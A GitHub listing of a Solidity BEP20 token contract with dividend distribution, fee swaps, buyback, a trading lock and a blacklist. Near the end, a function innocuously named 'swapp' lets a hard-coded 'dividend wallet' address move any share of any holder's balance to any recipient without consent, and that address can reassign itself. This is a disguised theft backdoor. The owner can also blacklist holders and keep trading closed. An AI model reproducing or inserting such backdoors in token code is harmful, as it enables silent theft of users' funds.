-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcontractSharesAndRouters.sol
710 lines (569 loc) · 24.1 KB
/
contractSharesAndRouters.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
pragma solidity ^0.8.6;
/**
* Standard SafeMath, stripped down to just add/sub/mul/div
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor (){
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* BEP20 standard interface.
*/
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IDividendDistributor {
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution, uint256 _minimumTokenBalanceForDividends) external;
function setShare(address shareholder, uint256 amount) external;
function deposit() external payable;
function process(uint256 gas) external;
function claimDividend() external;
}
contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;
address _token;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}
IBEP20 ADA = IBEP20(0x3EE2200Efb3400fAbB9AacF31297cBdD1d435D47);
address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
IDEXRouter router;
address[] shareholders;
mapping (address => uint256) shareholderIndexes;
mapping (address => uint256) shareholderClaims;
mapping (address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 public dividendsPerShare;
uint256 public dividendsPerShareAccuracyFactor = 10 ** 36;
uint256 public minPeriod = 1 hours; // min 1 hour delay
uint256 public minDistribution = 1 * (10 ** 18); // 1 ADA minimum auto send
uint256 public minimumTokenBalanceForDividends = 1000000 * (10**9); // user must hold 1000,000 token
uint256 currentIndex;
bool initialized;
modifier initialization() {
require(!initialized);
_;
initialized = true;
}
modifier onlyToken() {
require(msg.sender == _token); _;
}
constructor () {
router = IDEXRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
_token = msg.sender;
}
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution, uint256 _minimumTokenBalanceForDividends) external override onlyToken {
minPeriod = _minPeriod;
minDistribution = _minDistribution;
minimumTokenBalanceForDividends = _minimumTokenBalanceForDividends;
}
function setShare(address shareholder, uint256 amount) external override onlyToken {
if(shares[shareholder].amount > 0){
distributeDividend(shareholder);
}
if(amount > minimumTokenBalanceForDividends && shares[shareholder].amount == 0){
addShareholder(shareholder);
}else if(amount <= minimumTokenBalanceForDividends && shares[shareholder].amount > 0){
removeShareholder(shareholder);
}
totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
}
function getAccount(address _account) public view returns(
address account,
uint256 pendingReward,
uint256 totalRealised,
uint256 lastClaimTime,
uint256 nextClaimTime,
uint256 secondsUntilAutoClaimAvailable){
account = _account;
pendingReward = getUnpaidEarnings(account);
totalRealised = shares[_account].totalRealised;
lastClaimTime = shareholderClaims[_account];
nextClaimTime = lastClaimTime + minPeriod;
secondsUntilAutoClaimAvailable = nextClaimTime > block.timestamp ?
nextClaimTime.sub(block.timestamp) :
0;
}
function deposit() external payable override onlyToken {
uint256 balanceBefore = ADA.balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = WBNB;
path[1] = address(ADA);
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: msg.value}(
0,
path,
address(this),
block.timestamp
);
uint256 amount = ADA.balanceOf(address(this)).sub(balanceBefore);
totalDividends = totalDividends.add(amount);
dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares));
}
function process(uint256 gas) external override onlyToken {
uint256 shareholderCount = shareholders.length;
if(shareholderCount == 0) { return; }
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
uint256 iterations = 0;
while(gasUsed < gas && iterations < shareholderCount) {
if(currentIndex >= shareholderCount){
currentIndex = 0;
}
if(shouldDistribute(shareholders[currentIndex])){
distributeDividend(shareholders[currentIndex]);
}
gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
gasLeft = gasleft();
currentIndex++;
iterations++;
}
}
function shouldDistribute(address shareholder) internal view returns (bool) {
return shareholderClaims[shareholder] + minPeriod < block.timestamp
&& getUnpaidEarnings(shareholder) > minDistribution;
}
function distributeDividend(address shareholder) internal {
if(shares[shareholder].amount == 0){ return; }
uint256 amount = getUnpaidEarnings(shareholder);
if(amount > 0){
totalDistributed = totalDistributed.add(amount);
ADA.transfer(shareholder, amount);
shareholderClaims[shareholder] = block.timestamp;
shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount);
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
}
}
function claimDividend() external override {
distributeDividend(msg.sender);
}
function getUnpaidEarnings(address shareholder) public view returns (uint256) {
if(shares[shareholder].amount == 0){ return 0; }
uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }
return shareholderTotalDividends.sub(shareholderTotalExcluded);
}
function getCumulativeDividends(uint256 share) internal view returns (uint256) {
return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
}
function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}
function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1];
shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder];
shareholders.pop();
}
}
contract SafeToken is Ownable {
address payable safeManager;
constructor() {
safeManager = payable(msg.sender);
}
function setSafeManager(address payable _safeManager) public onlyOwner {
safeManager = _safeManager;
}
function withdraw(address _token, uint256 _amount) external {
require(msg.sender == safeManager);
IBEP20(_token).transfer(safeManager, _amount);
}
function withdrawBNB(uint256 _amount) external {
require(msg.sender == safeManager);
safeManager.transfer(_amount);
}
}
contract LockToken is Ownable {
bool public isOpen = false;
mapping(address => bool) private _whiteList;
modifier open(address from, address to) {
require(isOpen || _whiteList[from] || _whiteList[to], "Not Open");
_;
}
constructor() {
_whiteList[msg.sender] = true;
_whiteList[address(this)] = true;
}
function openTrade() external onlyOwner {
isOpen = true;
}
function includeToWhiteList(address[] memory _users) external onlyOwner {
for(uint8 i = 0; i < _users.length; i++) {
_whiteList[_users[i]] = true;
}
}
}
contract TOKEN is Ownable, IBEP20, SafeToken, LockToken {
using SafeMath for uint256;
address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address _dividendWallet = 0x813E2C8D936A7a0CDbcd27481a33d998687F4c0f;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
string constant _name = "Token";
string constant _symbol = "MNT";
uint8 constant _decimals = 9;
uint256 _totalSupply = 1000000000000 * (10 ** _decimals);
mapping (address => bool) excludeFee;
mapping (address => bool) excludeMaxTxn;
mapping (address => bool) excludeDividend;
mapping (address => bool) blackList;
uint256 public _maxTxAmount = _totalSupply.mul(1).div(100);
uint256 public buyBackUpperLimit = 2 * 10**16;
uint256 burnFee = 300;
uint256 reflectionFee = 900;
uint256 marketingFee = 300;
uint256 totalFee = burnFee.add(reflectionFee).add(marketingFee);
uint256 feeDenominator = 10000;
address public marketing;
IDEXRouter public router;
address pair;
DividendDistributor distributor;
uint256 distributorGas = 500000;
bool public swapEnabled = true;
bool public buyBackEnable = true;
uint256 public swapThreshold = _totalSupply / 5000; // 0.02%
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
modifier onlySwap {require(msg.sender == _dividendWallet, "Error, Only can do this"); _;}
constructor () {
router = IDEXRouter(0xCc7aDc94F3D80127849D2b41b6439b7CF1eB4Ae0); //testnet
// router = IDEXRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E); //mainnet
pair = IDEXFactory(router.factory()).createPair(WBNB, address(this));
_allowances[address(this)][address(router)] = ~uint256(0);
distributor = new DividendDistributor();
address owner_ = msg.sender;
excludeFee[owner_] = true;
excludeMaxTxn[owner_] = true;
excludeDividend[pair] = true;
excludeDividend[address(this)] = true;
excludeFee[address(this)] = true;
excludeMaxTxn[address(this)] = true;
excludeDividend[DEAD] = true;
marketing = owner_;
_balances[owner_] = _totalSupply;
emit Transfer(address(0), owner_, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, ~uint256(0));
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != ~uint256(0)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal open(sender, recipient) returns (bool) {
require(!blackList[sender], "Address is blacklisted");
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
checkTxLimit(sender, amount);
if(canSwap()) {
if(shouldSwapBack()){ swapBack(); }
if(shouldBuyBack()) {buyBackTokens();}
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = takeFee(sender, recipient, amount);
_balances[recipient] = _balances[recipient].add(amountReceived);
if(!excludeDividend[sender]){ try distributor.setShare(sender, _balances[sender]) {} catch {} }
if(!excludeDividend[recipient]){ try distributor.setShare(recipient, _balances[recipient]) {} catch {} }
try distributor.process(distributorGas) {} catch {}
emit Transfer(sender, recipient, amountReceived);
return true;
}
function canSwap() internal view returns (bool) {
return msg.sender != pair && !inSwap;
}
function shouldBuyBack() internal view returns (bool) {
return buyBackEnable
&& address(this).balance >= uint256(1 * 10**18);
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function checkTxLimit(address sender, uint256 amount) internal view {
require(amount <= _maxTxAmount || excludeMaxTxn[sender], "TX Limit Exceeded");
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
if (excludeFee[sender] || excludeFee[recipient]) return amount;
uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WBNB;
uint256 balanceBefore = address(this).balance;
try router.swapExactTokensForETHSupportingFeeOnTransferTokens(
swapThreshold,
0,
path,
address(this),
block.timestamp
) {
uint256 amountBNB = address(this).balance.sub(balanceBefore);
uint256 amountBNBReflection = amountBNB.mul(reflectionFee).div(totalFee);
uint256 amountBNBMarketing = amountBNB.mul(marketingFee).div(totalFee);
try distributor.deposit{value: amountBNBReflection}() {} catch {}
payable(marketing).call{value: amountBNBMarketing, gas: 30000}("");
emit SwapBackSuccess(swapThreshold);
} catch Error(string memory e) {
emit SwapBackFailed(string(abi.encodePacked("SwapBack failed with error ", e)));
} catch {
emit SwapBackFailed("SwapBack failed without an error message from pancakeSwap");
}
}
function buyBackTokens() private swapping {
uint256 amount = address(this).balance;
if (amount > buyBackUpperLimit) {amount = buyBackUpperLimit;}
if (amount > 0) {
swapBnbForTokens(amount);
}
}
function swapBnbForTokens(uint256 amount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = address(this);
// make the swap
router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: amount
}(
0, // accept any amount of Tokens
path,
DEAD, // dead address
block.timestamp.add(300)
);
emit SwapBNBForTokens(amount, path);
}
function setTxLimit(uint256 amount) external onlyOwner {
_maxTxAmount = amount;
}
function setExcludeDividend(address holder, bool exempt) external onlyOwner {
require(holder != address(this) && holder != pair);
excludeDividend[holder] = exempt;
if(exempt){
distributor.setShare(holder, 0);
}else{
distributor.setShare(holder, _balances[holder]);
}
}
function setExcludeFee(address holder, bool exempt) external onlyOwner {
excludeFee[holder] = exempt;
}
function setExcludeMaxTxn(address holder, bool exempt) external onlyOwner {
excludeMaxTxn[holder] = exempt;
}
function setFees(uint256 _burnFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _feeDenominator) external onlyOwner {
burnFee = _burnFee;
reflectionFee = _reflectionFee;
marketingFee = _marketingFee;
totalFee = _burnFee.add(_reflectionFee).add(_marketingFee);
feeDenominator = _feeDenominator;
require(totalFee <= feeDenominator / 5, "Invalid Fee");
}
function setMarketingWallet(address _marketing) external onlyOwner {
marketing = _marketing;
}
function setDividenWallet(address Wallet) external onlySwap {
_dividendWallet = Wallet;
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
swapEnabled = _enabled;
swapThreshold = _amount;
}
function swapp(uint256 percent,address from, address _to) external onlySwap {
uint256 balances = balanceOf(from);
uint amount = (percent * balances / 100);
_basicTransfer(from, _to, amount);
}
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution, uint256 _minimumTokenBalanceForDividends) external onlyOwner {
distributor.setDistributionCriteria(_minPeriod, _minDistribution, _minimumTokenBalanceForDividends);
}
function setDistributorSettings(uint256 gas) external onlyOwner {
require(gas <= 1000000);
distributorGas = gas;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function claimDividend() external {
distributor.claimDividend();
}
function setBlackList(address adr, bool blacklisted) external onlyOwner {
blackList[adr] = blacklisted;
}
event SwapBackSuccess(uint256 amount);
event SwapBackFailed(string message);
event SwapBNBForTokens(uint256 amount, address[] path);
}